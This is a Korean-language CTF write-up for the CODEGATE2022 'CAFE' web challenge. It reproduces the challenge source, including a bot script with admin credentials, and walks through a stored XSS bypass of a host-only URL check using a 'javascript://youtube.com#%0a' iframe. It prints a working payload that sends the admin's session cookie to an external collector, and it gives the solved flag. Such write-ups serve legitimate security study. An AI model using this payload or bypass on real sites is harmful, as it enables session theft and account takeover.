CTF/CODEGATE2022

[Clear] CODEGATE2022 CAFE Writeup

Vardy 2022. 3. 1. 12:08

주어진 페이지에 접근해보자. CAFE라는 서비스를 이용 할 수 있는 페이지가 나타나며, 회원가입 후 로그인하면 글을 읽고 Report를 통해 서버가 해당 작성글을 읽을 수 있도록 하는 것 같다. 전형적인 XSS문제처럼 보인다. 

 

주어진 소스를 분석해보자.

우선 플래그를 읽는 방법을 분석해보자. db.sql 파일에서 데이터베이스가 어떻게 세팅되는지 분석해보면, 마지막 두 줄에 걸쳐 admin계정 생성 후 admin 계정으로 "flag" 라는 title에 플래그 값을 content로 하는 글을 작성함을 알 수 있다.

### db.sql

CREATE DATABASE IF NOT EXISTS `app` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
use `app`;

CREATE TABLE IF NOT EXISTS `users`(
  `id` VARCHAR(32) NOT NULL PRIMARY KEY,
  `pw` VARCHAR(64) NOT NULL,
  `created` DATETIME
);

CREATE TABLE IF NOT EXISTS `posts`(
  `no` INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY,
  `title` TEXT NOT NULL,
  `content` TEXT NOT NULL,
  `writer` VARCHAR(32),
  `views` INT
);

INSERT INTO `users` VALUES ('admin', '[FILTER]', now());
INSERT INTO `posts` VALUES (0, 'flag', 'codegate2022{EXAMPLE_FLAG}', 'admin', 0);

 

bot의 동작을 분석해보자. 우리가 예측한대로 report 요청이 오면 관리자 계정으로 로그인 후 해당 글을 읽도록 한다.

### bot.py

#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
import time
import sys

options = webdriver.ChromeOptions()

options.add_argument('--headless')
options.add_argument('--disable-logging')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--no-sandbox')
#options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")

driver = webdriver.Chrome(ChromeDriverManager().install(),options=options)
driver.implicitly_wait(3)

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
### 관리자 계정정보가 노출되어 언인텐 풀이가 가능하다..
driver.find_element_by_id('submit').click()
time.sleep(2)

driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))
time.sleep(2)

driver.quit()

main.php와 read.php를 분석해보면, 글을 읽는데는 글 작성 당사자 혹은 admin의 id가 필요함을 알 수 있다. 해당 로직에 활용되는 id값은는 phpsession을 통해 불러 온다.

### main. php

...
            <?php 
              $id = $_SESSION['id'];
              $posts = getPosts($id)['all'];
              foreach($posts as $post) {
                echo '<tr onclick=location.href="/read?no='.$post['no'].'">';
                echo '<th scope="row">'.$post['no'].'</th>';
                echo '<td>'.$post['title'].'</td>';
                echo '<td>'.substr($post['content'],0,4).'..</td>';
                echo '<td>'.$post['writer'].'</td>';
                echo '<td>'.$post['views'].'</td>';
                echo '</tr>';
              }
            ?>
...

### read.php

...
<?php 
  if( isset($_GET['no'])  ){
    $no = intval($_GET['no']);
    $id = $_SESSION['id'];

    $res = getPost($no);

    if ($id !== $res['val']['writer']) {
      if ($id !== 'admin') { // admin cat see all posts
        die('No');
      } 
    }
    
    updateViews($no);

  }
?>
...

 

그렇다면, 우리가 생각 해 볼수 있는 시나리오는

1. 쿠키(세션)을 탈취하는 Stored XSS 구문이 포함된 글을 작성

2. Report 기능을 통해 admin이 해당 글에 접근하도록 하여 쿠키(세션) 탈취

3. 탈취한 쿠키(세션)을 활용하여 로그인 후 flag 확인

이 될 것이다.

 

그렇다면 이제 Stored XSS를 발생시킬 구문을 어떻게 작성할지 알아보도록 하자.

### util.php

...
  function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }
  
...

libs/util.php 를 보면 허용되어있는 tag들과 각 tag에서의 제약사항을 알 수 있다.

 

xss구문에서 많이 사용되는 a, img tag에서는 " 가 필터링되어, 각각 href="", src=""를 탈출 할 수 없어서 구문을 만들 수 없다. 

(a tag의 경우 xss구문 자체를 만들 순 있지만 autofocus 가 불가능하여 사용 할 수 없다.)

 

code tag는 익숙한 태그는 아니었는데 각 < > 안의 값이 code로 고정되어 xss를 발생시키기 어렵다고 판단했다.

(code tag에서의 xss 구문의 예시는 다음과 같다 : <code onclick="alert(1)">test</code>)

 

그렇다면 iframe tag를 활용해볼 차례이다. iframe tag의 제약조건에서는 src의 url에 대해 검사하는데, 특이하게 host가 youtube.com인지 검사한다. scheme에 대한 검증은 없으므로 http나 https 가 아닌 javascript scheme을 활용하여 XSS를 발생시킬 수 있다.

이런 케이스는 실제 모의해킹 업무를 할 때 종종 보이는 케이스이다.

대표적으로 https://service.com/login?returnUrl=~~와 같은 형식으로 로그인 성공/실패 시 redirect기능을 구현하곤 하는데, 인증되지 않은 타 사이트로의 리다이렉트를 막기 위해서 host를 검증하긴하지만 scheme에 대한 검증이 없는 경우가 있다. 

 

이럴 때 아래와 같은 구문으로 XSS를 발생시킬 수 있다.

javascript://service.com#%0aalert(1)

처음 해당 구문을 발견할때는 이렇게 하면 될 것 같다는 감과 테스트를 통해서 깨우쳤(?)는데 아래와 같은 레퍼런스도 존재한다.

https://hackerone.com/reports/316319 

 

Semrush disclosed on HackerOne: XSS on redirection page( Bypassed)

 

hackerone.com

원리는 javascript: 에서 // 를 한줄주석으로 인식하여 host부분이 주석으로 인식되지만, %0a 개행 또한 개행된것으로 인식되어 뒷부분의 스크립트가 실행된다. 그러나 url이 파싱되는과정에서는 [scheme]://[host] ~~ 처럼 인식되므로 host검증은 통과 할 수 있는것이다.

 

 

그렇다면 아래와 같이 XSS payload가 잘 작동하는지 테스트해보자.

<iframe src="javascript://youtube.com#%0afetch('https://enngfntpvbo0otw.m.pipedream.net/'+document.cookie)"></iframe>

정상적으로 공격자의 서버에 phpsession이 전달됨을 확인 할 수 있다.

해당 테스트 글이 유효하므로 이를 Report하면 admin의 세션 정보를 획득 할 수 있으며

이를 통해 flag 게시글을 읽을 수 있다.

 

FLAG = codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

반응형